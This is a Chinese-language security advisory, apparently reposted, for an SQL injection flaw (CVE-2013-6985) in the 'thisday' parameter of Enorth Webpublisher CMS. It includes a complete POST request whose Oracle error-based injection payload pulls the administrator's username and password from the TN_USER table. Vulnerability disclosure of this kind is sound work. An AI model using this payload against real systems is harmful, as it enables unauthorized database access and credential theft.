Enorth Webpublisher CMS 'thisday'参数SQL注入漏洞

发布日期:2013-12-06
更新日期:2013-12-09

受影响系统:
enorth Webpublisher CMS
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 64110
CVE(CAN) ID: CVE-2013-6985

Enorth Webpublisher是网络媒体内容管理、发布平台。

Enorth Webpublisher在'thisday'参数的实现上存在安全漏洞,成功利用后可使攻击者破坏应用、访问或修改数据、利用下层数据库内的其他漏洞。

<*来源:xin.wang
  *>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

POST /pub/m_worklog/log_searchday.jsp HTTP/1.1
Host:
User-Agent:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
Cookie:
Pragma: no-cache
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 180
thisday=20131012&#39;) and UTL_INADDR.get_host_name((select v from (select rownum,USER_NAME||chr(94)||PASS_WORD v from  TN_USER WHERE USER_ID=1) where rownum=1))&amp;gt;0--&amp;amp;cx.y=16&amp;amp;querytype=

建议:
--------------------------------------------------------------------------------
厂商补丁:

enorth
------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:http://www.heiqu.com/7b54698294f02bb48c4f5826e1cb599a.html